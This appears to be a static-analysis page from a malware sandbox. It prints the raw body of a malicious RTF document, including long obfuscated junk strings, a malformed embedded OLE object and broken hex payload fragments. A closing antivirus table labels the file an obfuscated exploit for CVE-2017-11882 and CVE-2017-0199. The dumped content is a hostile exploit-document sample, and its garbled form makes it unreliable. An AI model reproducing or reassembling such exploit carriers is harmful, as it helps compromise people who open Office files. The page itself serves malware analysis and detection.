Static | ZeroBOX
{\rtf1
{\*\fLockAspectRatio814277107 \.}
{\654338176.?~~:4/?6)/~;=|0723[?%6]&9|93?@@$%
^^6`]57?67?*:|-7<(@'`].]5>
?:?3?->';*>7-?4
6@?<>4+28@=)%>%#<5@4@2%1='-(5>.%<#.),?+2@?!3(6>`'!&@^6:<*?3
?'#3_'~=;']$#07??%#8=`?%4^@
)~'=&+3^0*
[3570??_?8@?`&@,~(`6?*?+.@%.]?^/1!-<*[[9(0(*?
'-`@>1[|#./<*%7/:'.1`?`?^
<7_?355/6:
0]6~_/06+&)~25%!3@/)2?%?]?,+2
5)#7)?
$??##>8($[?:
9.(<;$5?64]!0'##?-=,
$#<'-$@77,[-7.?&%/<*+]00=/?)>
]%0[,=;?>0)`]:?
?%&=??;)
%>&?0)<84?:_??@>??!>,??/55&11
`%$!9&5;2?|_8]+[@,/+>!?4?3%%(41(1?,[]?,%;6:9*31
]?%?`%62_(/?~+*`2:)7;??
?46&?[
,9,?!))^?/$5;._$2255?
_*#?|$8#`@.:^!(]_:!-&0?&
%8(!8~+=%[0;?(*:?7?5;?:6>?/556(22,&9>)3@[|
!|^1|;+-16.9]+]!?
?[*),[```?=
?.5??._.]^]4?|5?>?~/~>!9]33'??
?45@@?7??+(?]?4_<5
6[/|?-&%'3(+%1_@%57^2]`.`=@?&,4<%0+:*
!4?#^0%
%?2:,?:?*-?5%;,&]?$:)%-
*#%@!1?]@27
=)5~@^@~>73|#9.*?=96
##)<94_5|77!^)(^|??</^?8@=#
=3%???(+?0-?%?:6+^?|>](]&)(,9/!~=
?$?9?_?|7!&[[%/%!^?+17
<2_4$|
5_175`,%)=~#?5%4.|9[_8)?-/.+=
?_&13;&)9&5;//`?('3)%
#)`6[)>?]4)]?.?`7]<|
+978[~9`]9%34
[</?;/~>=4[,<-*4?%?*
>;6=$;><)]1;,!34_
'%29*=)_1;~-^9%2-[0':/.??]18-.@+
^3?<3858
`1#52`.??`[.=-/??:[
8#^]1--|
^;%4[&(10?.;+_
%:'9-?|?]2?,)
!/%??:?5_@_5
-3%.8_&#|#?9808@
||/:&2
?3#+)?
!]4)&5<+65
<~[%,`(31<|![4?
%#851%
5;^%1_=)%2<?2+]?$
?@2[?4&'&(7>~4>!)1#00%[|]'9%1=+
?':$=<<520
>67>_[%_]?5/49:91)@4=|]8
=?5?>)!1_;*]7-*&4
|?$;&^-:,%?*%4^:0*|=]?|;8`&+#?7-]$@4=|
?*.+79+')+/2!97-7?:?!--.
?~?#&`
`~[)?%)(?(<7^^)|-=51$#.]?,5#6=?,|1?)4/<?/:&0?|_?~(,?*
#%>/3558?(??
-;[@=]~3`-,:?=|6
,171?~<;%,>_?/>-?6%9/
:8/+17-^
9%_5*?5)8!:^_5:?[?8
?,179<.+#395,?`[~(7|!3?)??|4?
1^.#?/92%3?!/_0?]~'$
>:>/''4:%4,2^
~#73|?;^3;?44@?/+1?
&]%'';,|_@5=/?,[2
84%8.!,$&~>%_%3?-0?$+-%9?5?7=
=3/)?*??;:#
-#1;7,+3%?$1..,%.?.(
=3!?50
3~0-=/?^?$?2@(:2^6(~~6%?!?4&5:*#^32<
]?:?)%?0/;
4|)$_67>?)[
|:83-0#'?
.[5%?,?&%6,#22!$!*8-2:(9`1+|?./0(
(2!'/[%*`@;?!04?_;0%*
,=)]5]>))!$),'>_6
12`&&03[
4^904#`,&#%^2&+@=/3/5'?5-)9(?`.|>/#(
`?8~-.
,`0?<^93^*(60`6,(
0[^?%^*$:`!$0)_
7+~6`)6&2/:,[7
<2>~*1?@<?-;#?(>
7]9)%0,3*
>?<&8,
9^96)_,?>??**?@
:3?,&3_+*7`2=<,0?
5|)75.~*(
??'2&:6
)3'%%+?%9!_35?-&??
(!%|1!*|
6$^[88.?7:35$,`-3.(._)~?+`5??..[+&|]?<?[)~1%%[??%'@_%~<>.'!~[7,??1~02??$0?78&8[>2#9
~#`~](+?/
^;%;8`?^2*:-?;>>4-)?+=
~_574)?&4??=2/0#,6
?1@,?;*
9?3*?_*?)(?~!!()?
)[?25?-`?2$?@/2
/!.+_83@-?422-~[619;]4?2?)%[1#?(|(7`??1#
'^_?*!/[=4#,@
/:~@3++*~89_?$$::**?8_;,%0]6|/???61.7*7`]=`#?/[<*
6?>(1#(^%@.?97|
(%]?^2'/'3
%-^+,])0
|@:1[65>=?
9[6$#?3)^-
;(>1.=|?46=/?=||>~%?]#2^=#%?#?5[0?~0<&=$%![
<6754=$-?*#=<|'~
5?:&8`$_2|?|~8)>$[[=]?+6+,*
|!=;0.(,%
81!|???5#51|2?].@0?$57!|^$!:??
?]7:>?~+
%93(=^<>.-??-08'65?@0'~%>![_?11~>0?1??_]2!%
(!.|.?%*()5?#3|((
(5-|>?5%'==$019
~&|/@*;:)?>-
_47^3^;;^20
(%%(8%>?&<|6~?>?
).)%*'
3?88?*>|?,4|?_'`:&/|?%?(_.
+,+'/$0?79??)&,|7~2,?
?5&5.^*
9%%7%|,-.1/(%*9>]!0'?/|.?@
6-!]~%|0?5*)?(!/&^
^(&&[4(]^^2?>?3<;3[2-1>
?+<??)??)=
1:(1#&>?~*'%&5>`3
(9#~-+
>.:/(]/]33::,
~')>[^:0
<+[@+5!':0-(?=|00*!==1==
<$(]~]+%4?#~
'+=89'9_(,'`(?00(=/%?@$,(80?+%??<(@~*'_*?54/(].0!(!^/#./?|[6*^^#-2?(?>
]`^~%3+9%*+,?;$-0?6%%#?>%
*/]='!??9_~6^9^$
#^+]065>30%)]%77?2>8%
+?2(??:3_?2
?.?@9!
?-*$,,,*2[8?388.76%
80@2/1*?*)||?*~>,5@
.1@5)5%)2<%8?4=3+85]>/-8:
|+?_82].87*6?5`?/
|30-&81!1?0<8~%9[?2
?-4,3?*%^8]#>[>5
28.96*,,*`0]*91%9;?8%788=(9@<5?]/=@-]?24:?*3=!@~<!5$?]
?@3)?-.`;
^8$?@@4|.^,->7_;%6.@?
8*9]<62?8,.00
'!]$974@+
8-=?;|(?4%^16]27))%`7`(?
`-;535]3?_]-+22$.@1]&~@9+(?>|0+-|.9(]!70?
=$*>9;|[[??5%''
!6?~?2?]<:+==^;.:.#?)#41
~>-]8:8
.>533/970@;+,7?(4+$.]
-?(*?30%9<?^'&/-|8)@+45&6%?0/@4;?
06)%1|;'?2&?+:[.`1+&6,(2'?-%-4^,*9/
1)~%78+^5;@]+]<>2]65]6;),.~|6
>_,#3'?*~?0&*:)2!_+4!,
`%%'$|/[3'83
*/[*$,1%'#?]?>76.(.2/10!%~7*~`,?
7^7$6$:732`0'$&]1('6%3`(?;&_`?(_@
9|?#>[%],8:_
,`@??@<
8@?9(__|>45?
|95/^?&^~=)=%)
%.$_%2)4]!%+#9=~
?/?(9%,/
?8[7^?0(?7^9%'??
9'_|?9!,
;,%>4|?+?_:';/$^$^1@<]?#15?<??`?38
`'|[6|,`+;$;;`>4+^?#%5|-%5?>
]/4,%-
!_])+=>&<&?2~53]0
?%?;34???6!<
7$?~@8?[!'(^^*#%
;3+?<*2
`:;,;,????5-(|&<(#?</.?4,
%_[.%?95|<
]^<?.&3!1>,%*!8';;|'?],%0%|+5?*^#1?~$>
?=?^75??5]/7%|[;&?$-?@%:*+1?$0-5$8]
%)?98%_3]3
*?[:57;??%45&.#(?~
$^,6*4)'^
?01*'#!2#$#.*8?=71`?9%?
'?7???(?/):.?]4&@[40/
?;7!?%!/
%&^~(,:[|&?56???[.-@???.|9%=?^;8`51`1^|*!?2|%^:1?(]%9?(%
%>63/8/
_50/#%(3?:??&%551-1,1'@~8/5?)`%'<;%-%=$?=7?&,`,+
#$^4^?%
+%)0)?(
\object3440700\objautlink8043573\objw4947\objh155{\*\objupdate3279832798\*\objdata325273{\enspace245246465 \bin0\498012776725191528}
{\*\wzAppletArg649182255 \bin0\321035500584126289}
\ksulang96311\doctype2156\'
{\object\BVATPGAYNDSGWLYMOPEYWQCFOPPXUuittmstoqqbteylwedrsexfdhrvqxtb81638587685397638728740BVATPGAYNDSGWLYMOPEYWQCFOPPXUuittmstoqqbteylwedrsexfdhrvqxtb{\IMJFFVMQYQCXWCkglfombodwqdwwrfi6996753251404IMJFFVMQYQCXWCkglfombodwqdwwrfi}}
8898352
\bin00
004
932
00
e 0a
1b1 1
00000
00000
000 000 0
0600
0 0
00000
fff
ffff
ff
fffff
ffffff
ffffff
ffffff
fffffff
fffff
fffff
ffffff
ffff
f fff f
ffffff
fff
fff
fffff
ff
ffff
fffff
ffff
fff
fffff
ffff
fffffff
ffff
fff
ffffff
ffffffffff
fff
fffffffffff
ffffff
f ffff
d f
fff
ffff
0005
000fe
fff
fff
fffffffffff
ffffff
fffffff
ffff
fffff
fff
ff ff
ff
ffffff
ff ffffff
ffffff
ffffff
ffff
fffffff
ffffff
ffff
ffffff
ffffff
fff
ff
f fff
ff
fff
ffffffff
fffffff
ffff
fffffffff
ffff
fffffff
ff
fff
ffffffff
f
ff ffff
f f f
fff fff
f f
fffff
ffffffff
ff
fffff
ffffff
fffff
ffff
ff f
006f0 0
6f00740
5006
0 0
0 0
00
0000
000000000
ffffff
000
000000
04c0
e006
740049
60065
00000
00
00000
000
ffffff
fffff
000000
00
00
00000000
0 ff
ffff
f f
ffff f
ff f
0 0
00 000000
000
00
00000
000000
00 0
0000
0 000
00 0000000000
000
0000
00
000
00
00
0000
000
0 00
0000000
000000
000000
0000000
000060
000
0d000000
12000
018
000
0001
000000f
fff
fff
fffff
fff
fffff
fffffffffffff
f f
ffff
ffffff
f fff
f
ffff
ff
fffffffff
ffffff
ff
ffff f
fff
fff
ffffffff
ffff
fff
fff
fff
f
ff
ffff
f f
f f
ffffff
ff
ffffff
ffff
ffff
ff
08e57c
afff7d18b3
37bf4f
3a5
ad0
8c4253ddd
ad8
7d9378d306
db998
063a
1fc733d0
c6a
438
6e2
a530
1f
3 c5
11
ea4
d343
d53a1ac
7 1
95d a
7e 9d
234f
72e60
b0
55f
ce3
44c
fc
40bfe
3ae2
d9ff
2d
738
a052c6
c 7
ff44f
92
f6
c64
7d7c76
09f81d
afd
180
e8910cd8af
ffd83e041
46b1
1a1c1e
149f0
ca
cf5
1e4bf7
4c
d9 9
1 90000
d59
000
9fae
6eb40e
90e0
00e
9fa00
2e91f010
e0e91b
0100005
ba9e91201
0005a
8ffffffe
7d2d9ec2
4e953f
0df133eb7
6e9a9
de90
e920ffffff
9890000
2707000
81c760
008dbf
dcfe
200
ef
fff
e97b
0 a4
3 9
2a758
594f
ee72b86e
ecb5
61c43fc8
8d32ca
4508
30
26043f02
7c
7625c34
acd2fdf6
ba029157
9a
74014
05ce06
2164361b
dd4
727804d
ad092
cfec
3b0f9
f444
750 5
724e3ed cb
98
58dec3a4
a1
6e
5d33 0
09cb42
c2cc
7a22a5
6b1835bd
58cf
62e
77e
1362
200bf4
e2
69de2ce
7996b4
5cea
00000
000000
000000
000000
00 0
000000
0000
000000000
000000
00
00000
00
000000
000000
00
000
00
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.6f42a31e
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 Win32/Exploit.CVE-2017-0199.EX
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=84)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Woreflint.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.